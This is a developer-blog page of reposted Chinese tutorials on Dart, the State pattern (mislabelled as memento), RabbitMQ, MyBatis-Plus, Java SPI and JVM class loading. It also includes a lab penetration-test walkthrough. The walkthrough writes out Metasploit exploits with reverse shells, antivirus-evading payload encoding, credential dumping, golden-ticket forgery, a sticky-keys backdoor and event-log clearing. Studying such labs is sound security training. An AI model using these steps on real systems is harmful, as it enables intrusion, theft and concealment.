开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

dart系列之 dart语言中的内置类型 简介 Null 数

发表于 2021-11-06

「这是我参与11月更文挑战的第5天,活动详情查看:2021最后一次更文挑战」

[toc]

简介

和所有的编程语言一样,dart有他内置的语言类型,这些内置类型都继承自Object,当然这些内置类型是dart语言的基础,只有掌握了这些内置类型才能够在使用dart语言的时候得心应手。

今天就给大家讲解一下dart语言的内置类型。

Null

在dart中用null来表示空。那么null和Null有什么关系呢?

Null是一个类,先看下Null的定义:

1
2
3
4
5
6
7
8
9
10
dart复制代码class Null {
factory Null._uninstantiable() {
throw UnsupportedError('class Null cannot be instantiated');
}

external int get hashCode;

/** Returns the string `"null"`. */
String toString() => "null";
}

可以看到Null类型的string表示就是null。而相应的null是一个关键字,其对应的就是Null类。

数字

dart中的数字对应的类是num,他有两个子类,分别是int和double。

int表示不大于64 bits的整数。因为dart可以运行在不同的平台中,所以不同平台表示的范围也是不同的。

在原生平台,比如android或者IOS平台,int的范围可以达到 -2^63 到 2^63 - 1。 但是在web环境中,可表示的范围是-2^53 到 2^53 - 1.

double相应的表示的是浮点类型。

对于数字来说,基本的运算操作符像是 +, -, / 和 *都是定义在num类中。当然还有其他一些常规的操作符。

如果需要更加复杂的运算,则可以使用dart:math库。

下面是几个数字使用的例子:

1
2
3
ini复制代码int age =18;
int number= 20;
double money = 10.1;

字符串

字符串是经常会使用的一种类型。dart中字符串对应的类是String。也可以直接用字面量表示如下:

1
2
ini复制代码var name ='jack';
var site ="www.flydean.com";

字符串可以用单引号也可以用双引号来表示。dart中字符串使用的是UTF-16编码。

dart中的字符串中,还可以带上变量值,他的格式是 ${expression}.

1
2
ini复制代码var age=10;
var words ='your age is ${age}!';

两个字符串可以用==来比较是否相等,字符比较的是对应的字符编码序列,如果字符编码序列相等,那么对应的字符串就相等。

字符串的连接可以使用+。

1
ini复制代码var hello ="hello " + "word";

还有一种创建字符串的方法是使用三个单引号或者三个双引号。

1
2
3
4
5
6
7
ini复制代码var string1= '''
this is a string!
''';

var string2 = """
this is string again!
""";

默认情况下string中的字符表示就是字符本身,如果要转换成其原始含义的话,则可以在字符串前面加上r:

1
python复制代码var string3 =r'this is line one \n this is line two';

布尔值

布尔值在dart中用bool来表示。bool值只有两个字符串表示,分别是true和false。

因为dart是类型安全的,也就是说在需要使用bool类型的时候,不能用其他类型代替。

比如我们要判断字符串是否为空,可以这样判断:

1
2
3
4
ini复制代码var name='';
if(name.isEmpty){
do something
}

列表

dart中的列表用List来表示,当然也可以直接使用下面的字面量表示:

1
ini复制代码var list = [1, 2, 3];

列表的index从0开始,以length-1结束。

从dart 2.3开始,引入了扩展符…和可为空的扩展符…? ,扩展符可以用将一个已知的list展开成其对应的元素,从而可以方便的构建list的组合:

1
2
ini复制代码var list = [1, 2, 3];
var list2 = [0, ...list];

dart中提供一个很神奇的功能,就是可以在构建list的过程中使用if和for语句,来动态生成list中的元素:

1
css复制代码var nav = [  'Home',  'Furniture',  'Plants',  if (promoActive) 'Outlet'];

或者:

1
2
3
4
5
ini复制代码var listOfInts = [1, 2, 3];
var listOfStrings = [
'#0',
for (var i in listOfInts) '#$i'
];

set和map

dart中的集合用Set来表示。

set表示的是不重复的元素的集合,如下所示:

1
ini复制代码var names = {'jack', 'mark', 'max'};

dart中的映射用Map来表示。

Map的创建和set很类似,但是包含了key和value:

1
ini复制代码var students = {'jack':18, 'mark':19, 'max':20};

大家可以发现,set和map是很类似的,那么问题来了, 怎么表示一个空的set或者map呢?

因为set中的元素是单个的,而map中的元素是键值对,所以我们可以这样的表示:

1
2
ini复制代码var names = <String>{};
var gifts = Map<String, String>();

但是如果不指定类型,那么默认创建的就是一个map:

1
ini复制代码var map = {};

要获取map中的值,可以这样使用:

1
2
3
javascript复制代码var gifts = Map<String, String>();
gifts['first'] = 'partridge';
gifts['second'] = 'turtledoves';

map和set都支持扩展符…和可为空扩展符…? , 同样也支持集合内的if和for操作。

本文已收录于 <www.flydean.com>

最通俗的解读,最深刻的干货,最简洁的教程,众多你不知道的小技巧等你来发现!

欢迎关注我的公众号:「程序那些事」,懂技术,更懂你!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

学习设计模式——备忘录模式

发表于 2021-11-06

概述

备忘录模式:(Memento Design Pattern)在不违背封装原则的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态,以便之后恢复对象为先前的状态。

何时使用:

  • 状态模式一般用来实现状态机,而状态机常用在游戏、工作流引擎等系统开发中。
  • 代码中包含大量与对象状态有关的条件语句。

什么是状态机?

  • 状态机有 3 个组成部分:状态(State)、事件(Event)、动作(Action)。其中,事件也称为转移条件(Transition Condition)。事件触发状态的转移及动作的执行。不过,动作不是必须的,也可能只转移状态,不执行任何动作。

UML 类图:

image.png

角色组成:

  1. 上下文环境(Context):它定义了客户程序需要的接口并维护一个具体状态角色的实例,将与状态相关的操作委托给当前的Concrete State对象来处理。
  2. 抽象状态(State):定义一个接口以封装使用上下文环境的的一个特定状态相关的行为。
  3. 具体状态(Concrete State):实现抽象状态定义的接口。

通用代码

Context.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
java复制代码public class Context {
private State state;

public Context() {
this.state = new ConcreteStateA(); // 设置初始状态
}

public State getState() {
return state;
}

public void setState(State state) {
this.state = state;
}

public void request() {
this.state.handle(this);
}

}

State.java

1
2
3
4
5
java复制代码public abstract class State {

public abstract void handle(Context context);

}

ConcreteStateA.java、ConcreteStateB.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
java复制代码public class ConcreteStateA extends State {

@Override
public void handle(Context context) {
System.out.println("ConcreteStateA 状态的 handle 方法");
context.setState(this);
}
}


public class ConcreteStateB extends State {

@Override
public void handle(Context context) {
System.out.println("ConcreteStateB 状态的 handle 方法");
context.setState(this);
}
}

测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
java复制代码public class Test {
public static void main(String[] args) {

Context context = new Context();
context.request();
System.out.println("当前状态为:" + context.getState());

context.setState(new ConcreteStateB());
context.request();
System.out.println("当前状态为:" + context.getState());

}
}

结果:

ConcreteStateA 状态的 handle 方法

当前状态为:通用模板.ConcreteStateA@1b6d3586

ConcreteStateB 状态的 handle 方法

当前状态为:通用模板.ConcreteStateB@4554617c

具体实例

相信很多人都玩过王者荣耀这款手游,在对局中,王者荣耀里面的英雄遭受到不同的技能或者增益buff会有不同的状态,比如眩晕、加速、减速等等。如果不使用状态模式的话,我们的英雄类会非常的复杂和难以维护。此时使用状态模式才是更好的选择,下面用代码模拟实现一遍。

RunState.java

1
2
3
4
5
java复制代码public interface RunState {

void run(Hero hero);

}

CommonState.java、SpeedUpState.java、SpeedDownState.java、SwimState.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
java复制代码public class CommonState implements RunState {
@Override
public void run(Hero hero) {
// 正常跑动
}
}


public class SpeedUpState implements RunState {
@Override
public void run(Hero hero) {
System.out.println("--------------加速跑动---------------");
try {
Thread.sleep(4000);//假设加速持续4秒
} catch (InterruptedException e) {}
hero.setState(Hero.COMMON);
System.out.println("------加速状态结束,变为正常状态------");

}
}


public class SpeedDownState implements RunState{
@Override
public void run(Hero hero) {
System.out.println("--------------减速跑动---------------");
try {
Thread.sleep(4000);//假设减速持续4秒
} catch (InterruptedException e) {}
hero.setState(Hero.COMMON);
System.out.println("------减速状态结束,变为正常状态------");
}
}


public class SwimState implements RunState{
@Override
public void run(Hero hero) {
System.out.println("--------------不能跑动---------------");
try {
Thread.sleep(2000);//假设眩晕持续2秒
} catch (InterruptedException e) {}
hero.setState(Hero.COMMON);
System.out.println("------眩晕状态结束,变为正常状态------");
}
}

Hero.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
java复制代码public class Hero {

public static final RunState COMMON = new CommonState();//正常状态

public static final RunState SPEED_UP = new SpeedUpState();//加速状态

public static final RunState SPEED_DOWN = new SpeedDownState();//减速状态

public static final RunState SWIM = new SwimState();//眩晕状态

private RunState state = COMMON;//默认是正常状态

private Thread runThread;//跑动线程

//设置状态
public void setState(RunState state) {
this.state = state;
}

//停止跑动
public void stopRun() {
if (isRunning()) {
runThread.interrupt();
}
System.out.println("--------------停止跑动---------------");
}

//开始跑动
public void startRun() {
if (isRunning()) {
return;
}
final Hero hero = this;
runThread = new Thread(new Runnable() {
@Override
public void run() {
while (!runThread.isInterrupted()) {
state.run(hero);
}
}
});
System.out.println("--------------开始跑动---------------");
runThread.start();
}

private boolean isRunning() {
return runThread != null && !runThread.isInterrupted();
}

}

测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
java复制代码public class Test {
public static void main(String[] args) throws InterruptedException {
Hero hero = new Hero();
hero.startRun();
hero.setState(Hero.SPEED_UP);
Thread.sleep(5000);
hero.setState(Hero.SPEED_DOWN);
Thread.sleep(5000);
hero.setState(Hero.SWIM);
Thread.sleep(5000);
hero.stopRun();
}
}

结果:

————–开始跑动—————

————–加速跑动—————

——加速状态结束,变为正常状态——

————–减速跑动—————

——减速状态结束,变为正常状态——

————–不能跑动—————

——眩晕状态结束,变为正常状态——

————–停止跑动—————


总结

状态模式与策略模式区别
状态模式和策略模式的 UML 一样,但是解决的问题和侧重不一样。

  1. 状态模式重点在各状态之间的切换从而做不同的事情,而策略模式更侧重于根据具体情况选择策略,并不涉及切换。
  2. 状态模式不同状态下做的事情不同,而策略模式做的都是同一件事,例如聚合支付平台,有支付宝、微信支付、银联支付,虽然策略不同,但最终做的事情都是支付,也就是说他们之间是可替换的。反观状态模式,各个状态的同一方法做的是不同的事,不能互相替换。
  3. 状态模式封装了对象的状态,而策略模式封装算法或策略。因为状态是跟对象密切相关的,它不能被重用;而通过从Context中分离出策略或算法,我们可以重用它们。
  4. 在状态模式中,每个状态通过持有Context的引用,来实现状态转移;但是每个策略都不持有Context的引用,它们只是被Context使用。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

rabbitmq简介

发表于 2021-11-06

这是我参与11月更文挑战的第6天,活动详情查看:2021最后一次更文挑战

1.什么是消息队列

消息队列,主要解决异步消息的管理(注册后,短信发送不是必须,可以使用队列)。实现系统之间的双向解耦,同时也能起到消息缓冲,消息分发的作用。当生产者产生大量数据,而消费者无法快速消费,(秒杀数据量过大使系统崩溃,队列可以废弃多余请求),或者是消费者异常了(服务挂掉后使请求丢失,队列可以保存请求)。

说白话讲,主要作用就是异步,削峰与解耦。

1.rabbitMQ简介

1.运行流程

在这里插入图片描述
rabbitmq是消息队列的一种,通过上图可以看到工作流程。生产者把请求给交换机 ,交换机把请求按照一定绑定关系发送给队列(平均发送),然后队列在把请求给消费者。其中交换机只负责转发并不负责保存,然后通过绑定关系与队列相绑定。交换器按照路由键绑定队列。当多消费者消费一个队列时,队列会均匀的发送到多个消费者之中。

其中

  1. 生产者为发送消息的服务/类。
  2. 消费者是接收消息的服务/类。
  3. 交换机将接收到的消息按照交换机类型发送给队列。
  4. 未被消费的消息都被存放在队列中。

2.交换机类型

rabbitmq提供了四种交换机。

  1. fanout:发送给所有绑定该交换机的队列。
  2. Direct:默认的交换方法,按照提供的key去寻找队列。如果key为A,数据只能发送到A的队列中。
  3. Topic:模糊匹配,只要符合该格式就可以。可以存在两种特殊字符“”与“#”,用于做模糊匹配,其中“*”用于匹配一个单词,“#”用于匹配多个单词(可以是零个)。如\.C.# 可以匹配A.C.B.不能匹配A.B.C.(其中以banding key关联)
  4. head:根据消息内容中的headers属性进行匹配。

3.使用的工具类

ConnectionFactory、Connection、Channel都是RabbitMQ对外提供的API中最基本的对象。Connection是RabbitMQ的socket链接,它封装了socket协议相关部分逻辑。ConnectionFactory为Connection的制造工厂。

Channel是我们与RabbitMQ打交道的最重要的一个接口,我们大部分的业务操作是在Channel这个接口中完成的,包括定义Queue、定义Exchange、绑定Queue与Exchange、发布消息等。

4.页面新建队列

还可以在 http://localhost:15672/#/exchanges 中直接配置队列和交换机绑定关系。(略微有点麻烦,不建议使用)

1.新建队列

在这里插入图片描述

2.新建交换机

在这里插入图片描述

3.新增绑定关系

绑定交换器和队列之间的关系 ,然后就可以直接使用了,并不需要java内部声名使用。
在这里插入图片描述

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

懒人必备代码生成器 添加依赖 测试代码

发表于 2021-11-06

这是我参与11月更文挑战的第6天,活动详情查看:2021最后一次更文挑战

MP 提供了大量的自定义设置,生成的代码完全能够满足各类型的需求

  1. MP 的代码生成器 和 Mybatis MBG 代码生成器:

MP 的代码生成器都是基于 java 代码来生成。MBG 基于 xml 文件进行代码生成

MyBatis 的代码生成器可生成: 实体类、Mapper 接口、Mapper 映射文件

MP 的代码生成器可生成: 实体类(可以选择是否支持 AR)、Mapper 接口、Mapper 映射文件、 Service 层、Controller 层.

在 MP 中,我们建议数据库表名 和 表字段名采用驼峰命名方式, 如果采用下划 线命名方式 请开启全局下划线开关,如果表名字段名命名方式不一致请注解指定,我 们建议最好保持一致。 这么做的原因是为了避免在对应实体类时产生的性能损耗,这样字段不用做映射就能直 接和实体类对应。当然如果项目里不用考虑这点性能损耗,那么你采用下滑线也是没问 题的,只需要在生成代码时配置 dbColumnUnderline 属性就可以

添加依赖

代码生成器的依赖

1
2
3
4
5
xml复制代码<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity-engine-core</artifactId>
<version>2.0</version>
</dependency>

日志输出的依赖

1
2
3
4
5
6
7
8
9
10
xml复制代码<dependency> 
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.7</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<version>1.7.7</version>
</dependency>

测试代码

依赖添加完成之后,我们需要编写测试代码(不会有人真的以为一点代码都不用写吧?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
scss复制代码public class test {
/*
* 代码生成
* */
@Test
public void demo1(){
//1.全局策略配置
GlobalConfig config = new GlobalConfig();
config.setActiveRecord(true) //是否支持AR
.setAuthor("ll") //作者名
.setOutputDir("D:\\Java\\MyBatisPlus\\mp01\\src\\main\\java") //生成路径
.setFileOverride(true) //文件覆盖
.setIdType(IdType.AUTO) //主键策略
.setServiceName("%sService") //生成的service接口名字首字母是否为I开头
.setBaseResultMap(true) //结果集映射
.setBaseColumnList(true); //SQL片段
//2.数据源配置
DataSourceConfig dataSourceConfig = new DataSourceConfig();
dataSourceConfig.setDbType(DbType.MYSQL)
.setDriverName("com.mysql.jdbc.Driver")
.setUrl("jdbc:mysql://localhost:3306/mp")
.setUsername("root")
.setPassword("666666");
//3.策略配置
StrategyConfig strategyConfig = new StrategyConfig();
strategyConfig.setCapitalMode(true) //全局大写命名
.setDbColumnUnderline(true) //表名,字段名,是否使用下划线
.setNaming(NamingStrategy.underline_to_camel)//数据库表映射到实验体的命名策略
.setTablePrefix("tbl_")//表前缀
.setInclude("tbl_employee");//生成的表
//4.包名策略配置
PackageConfig packageConfig =new PackageConfig();
packageConfig.setParent("com.ll.mp")
.setMapper("mapper")
.setService("service")
.setController("controller")
.setEntity("beans")
.setXml("mapper");

//5.整合配置
AutoGenerator autoGenerator =new AutoGenerator();
autoGenerator.setGlobalConfig(config)
.setDataSource(dataSourceConfig)
.setStrategy(strategyConfig)
.setPackageInfo(packageConfig);
//执行
autoGenerator.execute();

}
}

这是我们生成的目录结构

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

记录渗透靶场实战【网络安全】

发表于 2021-11-06

第一次写靶场实战的文章,有不足之处还请多多指教。本次实战的靶场是红日安全vulnstack系列的第二个靶场。

靶场地址:vulnstack.qiyuanxuetang.net/vuln/detail…

环境搭建

网络环境

image.png

网卡配置

只需要在VM上选择对应网卡即可,不需要在靶机中进行配置。

DC

1
2
yaml复制代码IP:10.10.10.10 (VMnet5)
OS:Windows 2012(x64)

WEB

1
2
3
yaml复制代码IP1:192.168.111.80 (VMnet6)
IP2:10.10.10.80 (VMnet5)
OS:Windows 2008(x64)

PC

1
2
3
复制代码IP1:192.168.111.201 (VMnet6)
IP2:10.10.10.201 (VMnet5)
OS:Windows 7(x86)

开启靶场

进入C:\Oracle\Middleware\user_projects\domains\base_domain目录下,双击startWebLogic开启服务。

image.png

外网渗透

我们已知当前Web服务器的公网IP为192.168.111.80,对Web服务器进行端口扫描,以期发现是否有可以利用的端口服务,从而突破边界。

端口扫描

1
复制代码nmap -sV -Pn -T4 192.168.111.80

image.png

【一>所有资源获取<一】
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)

漏洞探测

通过端口扫描我们发现Web服务器开启了80、7001等端口,其他端口如445、1433、3389等也可以使用一些RCE漏洞或弱口令直接进入Web服务器。这里我们先访问Web服务,发现80端口页面是空白的,在7001端口我们发现Web服务器开启了Weblogic,尝试使用WeblogicScan脚本探测漏洞:

1
css复制代码python3 WeblogicScan.py -u 192.168.111.80 -p 7001

image.png

漏洞利用

通过脚本探测发现存在CVE-2019-2725,我们可以使用网上的exp,这里我们使用msf自带的漏洞利用模块:

1
2
3
4
5
6
bash复制代码use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.111.80
set lhost 192.168.111.128
run

image.png

这里还需要在advanced选项中对payload进行简单的编码:

1
2
bash复制代码setg EnableStageEncoding true
setg StageEncoder x64/zutto_dekiru

image.png

成功返回meterpreter。

这里我们做编码的目的是为了绕过360,网上也有一些其它免杀的方式,大家可以自行学习,这里使用的msf的自免杀,使用x64/zutto_dekiru编码绕过。

权限提升

在我们成功返回shell后,发现我们当前是普通用户权限,如果要完全控制这台机器,需要进一步提权。

切换目录到C:\Users\de1ay下,使用meterpreter上传Sherlock脚本:

1
2
bash复制代码cd C:/Users/de1ay
upload Sherlock.ps1

[图片上传中…(image-d1bca3-1636183507751-34)]

进入shell模式,使用Sherlock脚本探测可用于本地提权的漏洞:

1
bash复制代码powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1;Find-AllVulns}"

image.png

这里我们通过Sherlock脚本发现存在MS15-051相关漏洞,使用msf自带的利用模块提权:

1
2
3
4
5
6
bash复制代码use exploit/windows/local/ms15_051_client_copy_image
set payload windows/x64/meterpreter/reverse_tcp
set session 1
set target Windows x64
set lhost 192.168.111.128
run

image.png

提权成功:

image.png

至此,我们已经成功拿下了边界服务器的控制权,可以进一步深入内网了。

内网渗透

在进入内网后,我们要明确自己的目标,由于该靶场没有flag需要获取,所以我们的目标就是拿下整个域的控制权,明确了目标后,我们就可以针对目标进行信息收集了。

信息收集

1
复制代码systeminfo

image.png

1
bash复制代码ipconfig /all

image.png

通过查询主机信息和网络信息,我们发现该服务器主机名为WEB,处于域环境,并且有两张网卡,其内网网段为10.10.10.0/24,主DNS服务器IP为10.10.10.10,在域环境中,域控制器往往同时作为DNS服务器,由此判断,我们要找的域控制器IP很可能就是10.10.10.10。

1
2
3
sql复制代码net user
net user /domain
net time /domain

image.png

通过查询用户信息,我们获取了域成员信息,并可基本做出判断域控制器的主机名为DC。

1
复制代码ping DC

image.png

通过对DC使用ping命令,我们发现其IP为10.10.10.10,由此我们最终做出判断该域环境中的域控制器主机名为DC,内网ip地址为:10.10.10.10,并且我们目前控制的这台Web服务器可以访问域控制器。

1
bash复制代码net group "Domain Admins" /domain

image.png

1
bash复制代码net group "domain computers" /domain

image.png

1
复制代码ping PC

image.png

这里我们通过ping PC发现PC机的ip为10.10.10.201,但是没有返回数据,说明此处防火墙禁止了ICMP协议,在后面对PC机进行内网渗透时可以考虑其它协议。

至此,我们已经初步完成了内网信息收集:

1
2
3
4
复制代码该靶场为域环境:de1ay.com
该靶场存在三台主机:DC、PC、WEB
该靶场存在两个网段:10.10.10.0/24,192.168.111.0/24
该靶场的域管理员为:Administrator

设置代理

在对内网进行了初步的信息收集后,我们要开始攻击内网主机了,但是内网中的机器和我们的攻击机并不处于同一网络当中,所以要通过Web服务器建立代理,这里有很多内网穿透工具可以使用,如ew、frp、chisel等,我这里直接使用msf建立路由,并开启socks代理。

1
2
csharp复制代码建立路由:
route add 10.10.10.0 255.255.255.0 1

image.png

1
2
3
4
5
6
arduino复制代码开启socks代理:
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 9050
set version 4a
run

image.png

1
2
bash复制代码配置代理工具proxychains4:
vim /etc/proxychains4.conf

image.png

这样,我们就可以使用msf以及设置了代理的其它工具攻击内网中的主机了。

在信息收集时,我们使用了ping命令简单探测了一下内网连通性,发现PC机无法ping通,这可能是防火墙阻止了ICMP协议,这里我们通过代理使用nc命令探测,发现可以连通,说明防火墙并没有阻止TCP协议的流量。

1
2
复制代码proxychains4 nc -zv 10.10.10.80 135
proxychains4 nc -zv 10.10.10.201 135

image.png

发现防火墙并没有拦截TCP流量后,我们就可以使用TCP协议进行数据传输了。

横向移动

先扫一下端口。

image.png

发现两台机器都开起了445端口,探测以下是否存在永恒之蓝漏洞:

1
2
3
arduino复制代码use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.10
run

image.png

发现两台主机都存在该漏洞,尝试使用msf内置的漏洞利用模块:

1
2
3
4
5
bash复制代码use exploit/windows/smb/ms17_010_psexec
set rhosts 10.10.10.10
set payload windows/x64/meterpreter/bind_tcp
set lport 443
run

域控制器执行成功,域内成员机PC执行失败:

image.png

至此,我们已成功获得域控制器权限。

域内成员机PC我们没有通过永恒之蓝漏洞拿下来,这里采用其它方法,首先我们在之前的Web服务器上加载kiwi,提取服务器上储存的密码:

1
2
3
lua复制代码sessions 2
load kiwi
creds_all

image.png

我们成功提取到了两个账号的明文密码,但是这里没有域管理员的账号密码。

这里我们使用smart_hashdump模块提取域控中的哈希:

1
2
3
arduino复制代码use post/windows/gather/smart_hashdump
set session 3
run

image.png

成功提取到了域内成员的hash值,并且我们发现域管理员的hash和其它域成员的hash相同,这说明域管理员使用了和域成员相同的密码(该靶场存在密码复用,如果密码不相同,我们可以通过哈希传递进行横向移动),这样我们可以就获得了域管理员的账号密码。

我们先使用msf生成一个木马:

1
bash复制代码msfvenom -p windows/meterpreter/bind_tcp lport=443 -f vbs -e x86/shikata_ga_nai -o /tmp/msf.vbs

然后,将该木马上传到已经被我们控制的web服务器上:

1
bash复制代码upload /tmp/msf.vbs

image.png

进入shell,与PC主机建立IPC$连接:

1
perl复制代码net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator@de1ay.com

image.png

将上传的木马复制到PC机C盘目录下:

1
go复制代码copy msf.vbs \\10.10.10.201\c$

image.png

通过端口扫描我们发现PC开启了3389端口:

image.png

在msf上开启监听:

1
2
3
4
5
6
bash复制代码use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set stageencoder x86/shikata_ga_nai
set rhosts 10.10.10.201
set lport 443
run

image.png

连接PC机的远程桌面,使用域管理员账号登录PC,上线msf:

1
复制代码proxychains4 rdesktop 10.10.10.201:3389

image.png

到此,我们已经控制了域内全部主机。

image.png

权限维持

在获取了域内全部主机权限后,我们进一步来做权限维持,权限维持的方法很多,这里我们演示两种方式,使用黄金票据来实现域控制器的权限维持,使用粘滞键后门实现PC机的权限维持。

域控制器权限维持

在之前的信息收集过程中,我们已经成功获取到了krbtgt的hash值:

image.png

因为PC机的session没有进行提权,并且是域成员账号,可以帮助我们获取域的SID,所以我们切换到PC机的session,获取域SID:

1
bash复制代码whoami /user

image.png

上传mimikatz到PC机,进入PC的shell模式,发现当前用户为普通域成员,无法访问域控制器目录。

image.png

使用mimikatz生成黄金票据并注入内存:

1
2
3
shell复制代码mimikatz# kerberos::purge
mimikatz# kerberos::golden /admin:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:administrator.kiribi
mimikatz# kerberos::ptt administrator.kiribi

image.png

成功注入内存,我们尝试访问域控制器C盘:

1
bash复制代码dir \\DC\C$

image.png

发现在将票据注入内存后,可以成功访问域控制器目录,说明黄金票据有效。还有其它域控制器权限维持的方式,这里不进行具体演示了。

粘滞键后门

在PC机上使用粘滞键后门前,需要先进行提权。这里同样上传Sherlock脚本进行探测利用:

image.png

提权成功。

使用msf中的后渗透模块添加粘滞键后门:

1
2
3
arduino复制代码use post/windows/manage/sticky_keys
set session 8
run

image.png

痕迹清除

删除之前上传的mimikatz和Sherlock脚本。

1
arduino复制代码run event_manager -c

image.png

结语

关于免杀,我使用的全部是msf的编码自免杀,64位使用的是x64/zutto_dekiru,32位使用的是x86/shikata_ga_nai,360都没有拦截。虽然靶机中有360,但是我直接上传的mimikatz也没有被杀,所以我有些怀疑是360的版本比较低,除了web服务器上传的第一个payload,其它都进行了编码处理,而第一个也确实没有执行成功,这说明360至少对第一个payload是拦截了的。

本次靶场练习到这里就全部结束了,在权限维持和免杀等方面仍然有很多需要学习的地方,这个靶场总体上比较简单,在横向移动和权限维持等方面还有很多方法可以尝试,由于本人深度沉迷msf,所以这篇文章中的整个渗透过程都是基于msf进行的,大家也可以多多尝试其它工具和方法,比如CS、Empire等等。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

深入理解Java SPI机制

发表于 2021-11-06

这是我参与11月更文挑战的第6天,活动详情查看:2021最后一次更文挑战

前言

我们使用的一些开源组件,比如说dubbo, shardingJDBC 等,都提供了一些可扩展的接口API, 比如前面我们介绍的shardingJDBC中自定义主键的生成策略就是实现JavaSPI中扩展的API。

SPI介绍

SPI全称Service Provider Interface,是Java提供的一套用来被第三方实现或者扩展的API,它可以用来启用框架扩展和替换组件。

image.png

Java SPI 实际上是“基于接口的编程+策略模式+配置文件”组合实现的动态加载机制。

常用开源框架SPI机制的使用

适用场景,调用者根据实际使用需要,启用、扩展、或者替换框架的实现策略

  • 数据库驱动加载接口实现类的加载

JDBC加载不同类型数据库的驱动

  • 日志门面接口实现类加载

SLF4J加载不同提供商的日志实现类

  • Spring

Spring中大量使用了SPI,比如:对servlet3.0规范对ServletContainerInitializer的实现、自动类型转换Type Conversion SPI(Converter SPI、Formatter SPI)等

  • Dubbo

Dubbo中也大量使用SPI的方式实现框架的扩展, 不过它对Java提供的原生SPI做了封装,允许用户扩展实现Filter接口

  • ShardingJDBC
    自定义主键生成策略。

实现一个JavaSPI案例

以ShardingJDBC 提供的自定义主键的SPI机制为例说明一下
, ShardingJDBC 提供了两种分布式主键的策略, 雪花算法和UUID, 我们也可以SPI的扩展机制自定义主键的生成策略。
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
java复制代码@Data
public class MyShardingKeyGenerator implements ShardingKeyGenerator {

private AtomicLong atomicLong = new AtomicLong(0);
private Properties properties = new Properties();

@Override
public Comparable<?> generateKey() {
// 单机版本的,分布式的可以用Redis自增等等
return atomicLong.incrementAndGet();
}

@Override
public String getType() {

//声明类型
return "MyAtomicLong";
}

}

在resources目录下新建META-INF文件夹,再新建services文件夹,然后新建文件的名字为org.apache.shardingsphere.spi.keygen.ShardingKeyGenerator,打开文件,复制自定义主键类全路径到文件中保存。
image.png

SPI 实现原理源码分析

ServiceLoader基本的数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
java复制代码public final class ServiceLoader<S>
implements Iterable<S>
{

private static final String PREFIX = "META-INF/services/";

// The class or interface representing the service being loaded
private final Class<S> service;

// The class loader used to locate, load, and instantiate providers
private final ClassLoader loader;

// The access control context taken when the ServiceLoader is created
private final AccessControlContext acc;

// Cached providers, in instantiation order
private LinkedHashMap<String,S> providers = new LinkedHashMap<>();

// The current lazy-lookup iterator
private LazyIterator lookupIterator;

/**
* Clear this loader's provider cache so that all providers will be
* reloaded.
*
* <p> After invoking this method, subsequent invocations of the {@link
* #iterator() iterator} method will lazily look up and instantiate
* providers from scratch, just as is done by a newly-created loader.
*
* <p> This method is intended for use in situations in which new providers
* can be installed into a running Java virtual machine.
*/
public void reload() {
providers.clear();
lookupIterator = new LazyIterator(service, loader);
}

// 构造方法
private ServiceLoader(Class<S> svc, ClassLoader cl) {
service = Objects.requireNonNull(svc, "Service interface cannot be null");
loader = (cl == null) ? ClassLoader.getSystemClassLoader() : cl;
acc = (System.getSecurityManager() != null) ? AccessController.getContext() : null;
reload();
}
......

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Java JVM的类加载过程详解 1 类加载的时机 2 类加

发表于 2021-11-06

「这是我参与11月更文挑战的第6天,活动详情查看:2021最后一次更文挑战」。

虚拟机把描述类的数据(Class文件)加载到内存,对其校验、转换、解析和初始化,最终形成可以被直接引用的Java类型。这就是虚拟机的类加载机制。关于Class文件的格式,可以参考这篇文章:Java的Class(类)加载机制详解。

根据《Java虚拟机规范 Java SE8》版规定,类或者接口的加载过程分为加载(Loading)、链接(Linking)、初始化(Initialization)。其中链接(Linking)又可以分为:验证(Verification)、准备(Preparation)、解析(Resolution)。

